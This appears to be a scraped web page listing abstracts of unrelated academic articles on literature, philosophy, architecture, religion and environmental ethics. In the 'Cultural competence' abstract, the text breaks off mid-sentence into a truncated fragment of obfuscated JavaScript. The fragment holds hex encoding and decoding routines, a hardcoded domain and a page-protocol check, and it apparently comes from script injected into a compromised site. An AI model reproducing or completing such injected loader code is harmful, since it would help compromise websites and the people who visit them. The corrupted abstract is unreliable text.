Man In Relation Research Articles

Moods of Men: Homosociality and Trafficking in Women in Louisa May Alcott's First Novel

The academic scholarship on Louisa May Alcott's first novel, Moods, has been both scarce and hesitant. Alcott first published the book in 1864, after Hospital Sketches, and in its original form the novel combines both Gothic and sentimental tropes, making it problematic for scholars of either of those genres of fiction. Feminists, as well, have reason to struggle with the novel, for in the original the protagonist Sylvia Yule dies, either as punishment for her confused and unconventional love of two different men or because of her inability to cope with marriage, depending on the argument (MacDonald 77). In Alcott's revised version of 1882, Sylvia returns to the man she feels no passion for and calls herself happy. There is not, then, much in a surface reading of this novel to make either critics or readers optimistic about the legal or social status of women in the nineteenth-century United States, but a closer reading reveals feminist undercurrents that critique both patriarchy and marriage as social institutions, questioning a woman's ability to reach her full potential within nineteenth-century social structures. Sylvia is constrained by the expectations of her two suitors, Geoffrey Moor and Adam Warwick, and most critics address Sylvia through these two men that she must choose between, seeing them as the two sides of her split psyche. However, critics do not address the complex relationship that Warwick and Moor have with each other,1 and I see their friendship as the primary relationship of the novel, overshadowing either man's relationship with Sylvia. At the same time, Sylvia's relationship with both men is what allows their friendship to be coded as normal, and not stray into the forbidden territory of homosexuality. She is the lynchpin that holds their relationship together, rendering all of their relationships queer and inextricably connected.The basic plot of Moods is as follows: Sylvia Yule is the younger female child of a family that is respectable and genteel but not very wealthy; the fortune her father originally made has declined. Her brother Mark has nevertheless been to university, and he is longtime friends with their neighbor Geoffrey Moor. Moor, in turn, is best friends with Adam Warwick, a man who is his complete opposite in temperament. While Moor is domestic, gentle, educated, and mild, schooled in all social graces, with a quick appreciation for poetry and beauty, Warwick is a loner, gruff, adventuresome, sensitive, self-sacrificing, and morally exacting. He leaves college after a year and learns after his own fashion, forming a reckless engagement to a Cuban beauty named Ottila. Warwick repents of their engagement after a month, believing that Ottila has deceived him in the nature of her character and that she decided to win his heart simply for the joy of conquering him rather than actually loving him. Warwick asks Ottila to release him, but she pleads that she does love him and is willing to change. In the end the two strike a deal: They will spend a year apart, during which Warwick will remain true to their engagement and Ottila will work to reform her character, into the kind of true and steady woman W arwick wants .2Warwick then leaves Cuba for the United States and takes refuge in the home of his old friend Moor. It is through Moor that he meets Mark and Sylvia, and over the course of the novel both Moor and Warwick fall in love with Sylvia. Sylvia realizes as well that she is in love with Warwick, but neither of them speak to the other about their feelings. Warwick eventually leaves, believing that as he is still promised to Ottila, he ought to let Moor have his own chance to court Sylvia. Sylvia marries Moor before Warwick returns, only to learn that Warwick has broken his engagement and is free. She tells Warwick of her marriage but is eventually forced to confess her true feelings to her husband, and the two men sail away to Europe, hoping for reconciliation and peace. Warwick dies before the end of the journey, saving Moor's life in a shipwreck. …

¿CABE ANTROPOLOGÍA NATURAL, SEGÚN KIERKEGAARD, O SOLO POR FE?

In this paper, we examine whether knowledge of our own human intimacy is natural or exclusively supernatural, as Kierkegaard proposes. We conclude that, even though this idea is not explicit in his writings, he admits that man's relationship with God is exclusively supernatural through faith, and that faith is not cognitive because it accepts that God is behind the absurd; hence, philosophical anthropology is not possible as a science.

The Impact of Information and Communication Technology on Dialectic Image of Vernacular Architectural Thought

The Research Cares With Examining The Nature Of The Architectural Image That Resulting From Contemporary Local Architecture Practice, After Becoming ICT And In Particular (The Internet) Is A Major Source Of The Information Required In Solving Design Problems. The Research Begins Interpretation Of The Origin Of The Design Problem, It Is The Existence Of A Human Need Updated Due To Man's Relationship To Its Environment And Other Individuals Within The Same Temporal And Spatial Environment, The Human Thought As (A Process Mentality To Present Information In Order To Reach The Desired), Represent The Basic Machine In The Production Of Architectural Form. Based On An Pilot Study Conducted By The Researchers, Were Identifier's Dialectical Image Prevalent In Contemporary Analogy, For The Production Of Local Architectural Forms, That Reflect The Demands Of Contemporary Identities, And Here Figured The Research Problem Of As (There Is No Clear Perception Of A Model For The Image Of The Controversy In The Local Thought After The Entry Of Information And Communication Technology As A Main Source Of Architectural Information). The Research Study The Domestic Practices In Order To Establish The First Model To That Image And Then Review The Information Contemporary Studies In Order To Determine The New Image Parameters And Install The Findings And Conclusions, Which Represents The Addition Of Contemporary Local Architectural Knowledge.

Gendered Expressions of Labor in the Middle East

A dearth of information is available on workingwomen in the Middle East during the 19th and first half of the 20th century. This gap is compounded by the male biases of the official reporters, journalists, unionists, labor activists, and scholars who produced the information that does exist. Nevertheless, it is possible to write a gendered history of labor on the basis of less-than-ideal sources, which can be enriched by the use of oral history, popular literature, autobiographies, and even fieldwork focused on women's and men's family relations and work patterns.

Cultural competence personality as a factor prevent aggression

The article examines the importance of culture and cultural competence of the individual. It has the ability to culture up to encourage initiative and independence, to overcome human passivity, lack of independence of thought and action. Cultural competence is a set of congruent behaviors, attitudes, and policies that come together in a system, agency or among professionals and enable that system, agency or those professions to work effectively in cross-cultural situations. The word culture is used because it implies the integrated pattern of human behavior that includes thoughts, communications, actions, customs, beliefs, values and institutions of a racial, ethnic, religious or social group. The word competenceis used because it implies having the capacity to function effectively. Cultural competence is a complex phenomenon. It includes, firstly, the institutional competence concerning the rules of social organization that is the main social institutions; economic, political, legal and confessional structures, institutions and statutes and hierarchies. Secondly, here is competence in relation to conventional norms of social and cultural regulation. This national traditions; prevailing morality, values, morality, worldview, evaluation criteria, rules of etiquette, customs and ceremonies; casual erudition in social and humanitarian knowledge. Thirdly, it mean competence regarding short but acutely topical examples of social prestige — fashion, image, style, symbols, regalia, social status, intellectual and aesthetic movements and others. Finally, fourthly, cultural competence is expressed in the level of completeness and freedom of language skills of social communication — natural spoken (oral and written), special languages and social (professional) jargon, the language adopted in the society etiquette and ceremonial, political, religious, social ethnographic and symbolic, semantic attributes of prestige, social labeling and others. Semantic dominant culture is the main thrust, the common man's relationship to the surrounding world, which determines the nature of all other relationships. Culture is able to strengthen the human mind, to humanize her feelings will harden and develop constructive and creative power of the individual, to awaken in her the desire to create and realization. This is why cultural competence of the individual — a prerequisite for overcoming such negative phenomena as human aggression// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return vestnikzgia.com.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e

The Contribution of the Social Teaching of the Catholic Church in the Construction of a New Concept of “Sustainability”

Abstract In the Bible we find, in the “book of Genesis”, two accounts of creation, which refer to two experiences, two different cultural and theological traditions. The Synoptic reading of the tracks offers the possibility of a deep reflection on what are the concepts “of creation such as universe and of creation such as making” and the role of the man in the creation with its functions of guardian and manager. It also provides the opportunity to assess the character and the meaning of human action, which is always characterized by ethical reference. It turns out the idea that man's relation to the world is a constitutive element of human identity, the result of a relationship that began as a deep relationship between Creator and creature. This ratio, deeply troubled allowed in “modern era to record a growing ability to transformative intervention of man. The aspect of the conquest and exploitation of resources became predominant and invasive, and came to threaten today ‘s hospitable environment; the environment as a “resource” risks threatening the environment as “home“. This showed that the balance between man and the environment reached a critical point” (John Paul II, 1997). This fracture is followed by a dynamic and anthropocentric vision, which can help strengthen the concept and practice of sustainability, which must constantly seek to achieve and accomplish the common good, which “set of social conditions which allow both individual members to the community, to reach their fulfillment more fully and more easily” (Gaudium et Spes, 26, 1966). Then, the social doctrine is looking to pursue three objectives: to found the motivation, to direct through the social living standards and to guide the consciences in to the creation of new life styles (Centesimus Annus, 53, 1991). This is to “denounce” and to “announce”: to denounce to defend the balance between man and the world and to announce a global vision of man and of humanity (Populorum Progressio, 13, 1967). Starting point and hermeneutical method is the training that is not so much passive assimilation of facts and cultural traditions, but to accustom the mind to become active, competent and responsible critical of the complexity of the world (Nussbaum M., 2013, p. 35).

Focul în simbolistica neoliticului

Fire is presented generally after 5 issues: the usual fire, thunderbolt, Sun, fire of penetration or absorption, fire of destruction. There are several objects containing symbols, signs or sacred scenes related with fire. Some of them represent ideograms, other mithogrames, representing means of communication between man and divinity in Heaven. It is necessary to remind of these messages, especially those discovered on small cult altars used for burning the offerings: Ocna Sibiului, Turdaş, Karanovo, Gradešnica etc. On other objects, such as the ceramic fragment discovered at Lozna, man sent arrow to the Sun (god of light and of diurnal heat). Sanctuary 2 at Parţa occupies an important place in the Neolithic man's relationship with chthonian and celestial deities, helping us to decipher the religious beliefs of those times.

The ecology of ‘we’ and ambient warmth: Richard Neutra's ecological architecture

The article seeks to generate a more nuanced version of environmental ethics than the current positivistic approach taken towards the ecological crisis by referring to the sense of ecology as evident in the practice and writings of Richard Neutra. Despite the whiteness of his architecture, Neutra's architecture was ecological in a profound way in which the ethics of the inter-personal and related dwelling activities of inhabitants are as important as measuring energy performance. For him, more fundamental than man's relationship with nature or natural resources was the inter-personal sharing of ‘we’, in which scarcity itself is the medium of a proportionate joining. Put differently, the reciprocity between the natural and the inter-personal, in which the former reinforces the latter, was the key to an ecological setting.In the process of underpinning Neutra's sense of the reciprocity between the natural and the inter-personal, as well as the shared inter-personal communication in an atmosphere, this article draws ideas from Japanese intellectual tradition such as Tetsuro Watsuji&amp;s notion of fudo, or climate, and its correlate inter-personal ethics, and Kitaro Nishida's account of a trans-subjective mode of communication of the ‘we’. Referring to this Japanese tradition in which Neutra was deeply interested, the article interprets Neutra's architecture based not upon the ego-oriented mode of the ‘I’ but upon the ego-less mode of ‘ek-sistere’ that reinstates the condition of the human being as a pre-reflective corporeal being, or what I would like to call a ‘common subjectivity’ to be articulated into different, yet conjoined, ‘I’s to form a joint measure. In this fashion, the article demonstrates how one's relationship with the natural necessarily involves the dimension of the inter-personal, while illuminating the goal of Neutra's practice: securing a place for the inter-personal through the coordination of natural forces.

The Gains and Losses of Screen Relations: A Clinical Approach to Simulation Entrapment and Simulation Avoidance in a Case of Excessive Internet Pornography Use

A clinical approach for patient narratives about technologically mediated relationship experiences is described in which working with these “screen relations” involves specific attention both to what is gained and what is lost. Three obstacles to adopting the suggested balanced approach are identified: the absence of an agreed upon descriptive terminology, simulation avoidance making it difficult to see what is gained, and simulation entrapment making it difficult to see what is lost. The issues are clinically illustrated using a young man's screen relations involving extensive use of Internet-based pornography.

Gesty pielgrzyma. Na podstawie Podróży na Wschód Alphonse’a de Lamartine’a

Przedmiotem analizy w artykule są doświadczenia, przeżycia i postawy pielgrzyma, odbywającego podróż religijną do Ziemi Świętej w 1832 roku. Pielgrzymem, którego doświadczenia zostały poddane analizie, jest słynny francuski poeta, historyk i polityk – Alphonse de Lamartine. W rozważaniach na temat jego pielgrzymki została wykorzystana kategoria gestu, która pozwoliła zbadać charakter relacji człowieka z Bogiem i sposób postrzegania Boga przez człowieka. Analiza zjawiska pielgrzymki jako gestu pozwoliła wyodrębnić pięć kategorii gestów pielgrzymkowych (gest Tomasza, Hioba, uczonego, oranta, dziecka), szczegółowo charakteryzujących możliwe zróżnicowanie postawy pielgrzyma w ramach jednej pielgrzymki oraz opisujących różne typy pielgrzymek.

Facerea lumii și a omului. Sinteză de Teologie Dogmatică (Creation of the world and man. Synthesis of Dogmatic Theology)

This articles presents the creation of the world and of man, and especially the relation between God and His creation. In the act of creation, God Shows His love for man. The man is the companion of God and the continuer of creation.This article presents the creation of man and alienation from God by sin and has the following themes: The image of God and man's relationship with God, Man's ikeness to God. Man was created as being different from the angels and animals, Man's fall into sin and the consequences of sin. We can see the following aspects of the sin: origin, universality and consequences of original sin: alteration of the image of God, which means the darkening of the mind, weakening the will and hardning of feeling. The state of man as the slave of sin and of passions has a sole consequence: death.

Connectalism: An Introduction

This is a first sketch of Connectalism: a new contextual framework for analyzing human choice. Connectalism is rooted in systems thinking and humanistic psychology. It melds together ancient and modern wisdoms about man's relationship with the perceived universe. Basic motivation for the concept, postulates and analytical tools are presented here.

Tafakkur as the Spiritual Mechanism for Environment Conservation

The tafakkur (reflections) concept in Islam is the best means to educate man's thoughts that will then control man's behavior toward righteousness. The activities of tafakkur involve thinking, emotions, perception, imaginations, and ideas of an individual that will then influence his behavioral development. What is meant by his behavioral development includes his beliefs, tendencies, activities, and good and bad habits. The constant reflections and remembrance of Allah, it is believed, will control each of man's actions. This is based on a Quranic verse: “Those who fear Allah, when a thought of evil from Satan assaults them, bring Allah to remembrance, when lo! they see (aright)!” (al-A'raf 7:201). The first effect of tafakkur is the filling of man's heart and man's thoughts on the realization of Allah's greatness, which in turns result in the best of morality (akhlak). The sustainability involving man's relationship with the other creatures of Allah, or more holistically if seen as this world, is closely related to man's role as khalifah (highest leader, successor, or representative) of Allah on this earth. As such, it has become man's responsibility to lead and administer this world. As such, the tafakkur concept in Islam is the best spiritual mechanism in conserving the environment.

PERANAN ILMU PENGETAHUAN SOSIAL DALAM PENDIDIKAN KARAKTER DI SEKOLAH DASAR

AbstractSocial Sciences have an important role in building and developing the character of students . Because Social Sciences essentially examines the human relationship with the environment . That is Social Sciences examines how the relationship between man and man, man's relationship with other living creatures and man's relationship with nature . Through the messages contained in the Social Sciences material is expected function of national education can be implemented with the good.For , an educator in control to influence the character of the students , in order to become a person who has a noble character values in accordance with Pancasila. Key Words : social sciences, character

Rhetorical Texts of the 4th Century A.D. about Wealth and Its Loss

Rhetorical Texts of the 4th Century A.D. about Wealth and Its Loss

The sea in the museum: a perspective on education at aquariums

The musealization of the sea, today spearheaded by aquariums and oceanariums, encapsulated man's relationship with these environments and the techniques used to explore them and keep organisms alive in captivity. Recognizing the combined roles of research and entertainment at aquariums, some aspects of their constitution over time are analyzed, especially the education and communication dimensions they have focused on more in recent times. For this purpose, we investigate in detail a Brazilian institution, Ubatuba Aquarium, indicating how its musealization incorporates clear intentions to promote education and communication in subjects from the realms of zoology, ecology and conservation.

Ecocentric Reflections on the Realization of Environmental Education

Regarded as a revolutionary current, deep ecology predicted that a new environmental ethics will change the paradigms of Western philosophical thinking, anthropocentric par excellence, with a new perspective to treat the relationship between man and nature. In the light of this view, nature is endowed with intrinsic value which people must respect. Deep ecology is based on a concept of an eco-centric nature that includes both an anthropocentric, as well as a non-human perspective, extending it preoccupations across biodiversity, and being concerned with a process of deep problematization man's relationship with nature. Extending the concept of value on everything that is alive (people, animals, plants, all of which are worthy of moral consideration and respect, and even on non-living entities) can create misunderstanding and confusions at the level of the environmental attitudes and behaviour of children. Starting from the theoretical problems presented earlier, we will investigate in what measure they are found in the Romanian curricula, and the manner in which ecological education is being studied it in the Romanian school. It is true that education cannot solve the problems of the environment, but it can ameliorate them, because through an ecological education it is easier and more economic to prevent, than to repair and to ameliorate the damages brought to nature by the adult generations. In the pedagogical literature, there are four types of intercessions of implementing the ecological education in the process of study. Even though the Romanian curricula has created all the premises for the approach of the ecological education through all the four types of intercessions, to reach the objectives of this education remain still at the preference and judgment of the teaching staff. The problems are: “How well prepared are the teachers to put into practice the ecological education at an intellective and attitudinal level through the intercessions mentioned above, with efficient results?”, and “How much do they see in it a foreground problem in the building up and development of the young's generation personality?”.

The Future of Herbicides and Genetic Technology: Ramifications for Environmental Stewardship

Environmental stewardship refers to responsible use and protection of the natural environment through conservation and sustainable practices. Aldo Leopold (1887 to 1948) championed environmental stewardship based on a land ethic “dealing with man's relation to land and to the animals and plants that grow upon it.” Environmental stewardship as it relates to weed science has taken on varying roles as chemical weed control took hold in managing crops as a general practice soon after World War II, and became a well-known issue during the Vietnam War, with the extensive use of Agent Orange. As technologies in both chemistry and genetics have evolved, chemical weed control became safer with the advent of less toxicologically damaging materials. Combining toxicologically safe herbicides with genetic manipulation made it possible to apply chemicals that previously would have caused plant death, seemingly providing a magic bullet that simplified weed control for many producers during the mid to late 1990s. University scientists were guarded during the introduction of this technology; many understood that the magic bullet had flaws. By using predominately POST applications on weed species, genetic selection has given rise to substantial resistance, therefore presenting weed scientists with a grand challenge for the future. As new genetic technology is introduced for existing and future weed management problems, how will environmental stewardship be addressed and how can this technology be preserved? How can a producer afford it and how can they afford not to use it? When we have weeds present that used to be managed by herbicides and genetic technology, then society will be forced to deal with the same social, economic, agronomic, and environmental issues they dealt with prior to such technology. Herbicide-resistance technology and the concomitant herbicide-resistant weeds have provided a perfect case study to learn from if those in academia, extension, and industry will pay attention. Continuing education of the producer will be perhaps the biggest key in meeting the challenge to produce a safe and plentiful food supply for a growing population with minimal adverse effects of weeds while providing a desirable degree of environmental stewardship.

Conrad, the Yarn and the Location of the Marlow Stories

Maritime history is centrally concerned with man's changing relationship with the sea. One important way of understanding this relationship is by examining contemporary writings concerning the sea and sailing on it. A particular rich area of such writings is fictional accounts; and the greatest exponent of British maritime fiction is Joseph Conrad (1857–1924). This paper looks at the major form of narrative, the yarn, that he used for some of his most famous stories, known as the Marlow stories. His literary aspirations to be taken seriously as a novelist, and not be confused with the maritime potboilers, put severe strains on his use of that form. In addition, three of the four Marlow stories are narrated on yachts and the contemporary social meanings of this choice of location are examined.

Emprego e trabalho no início do século XXI: revisitando Keynes e Marx

A natureza do trabalho nas economias avançadas apresentou significativa mudança recente. O progresso tecnológico ocasionou redução do trabalho sem conteúdo e ampliação daquele de maior qualificação ou escolaridade, fenômeno para cuja discussão se busca auxílio de Keynes e Marx. No caso de Keynes, destaca-se sua antevisão de que o progresso tecnológico geraria imensa redução do tempo de trabalho e ampliação do tempo de lazer. Considerando que isso não ocorreu, a falha pode ter acontecido por trabalhar com oposição entre trabalho sem conteúdo e lazer, não possibilitando capturar as mudanças históricas no trabalho e na relação dos homens com ele. A visão de Marx é completamente diferente, pois sua oposição se dá entre trabalho desprovido de conteúdo e "trabalho atividade", esse último impregnado de conteúdo e fundamental para o desenvolvimento das individualidades. A realidade atual tem, portanto, uma maior "colagem" com Marx e apresenta grandes desafios para o capitalismo e sua crítica.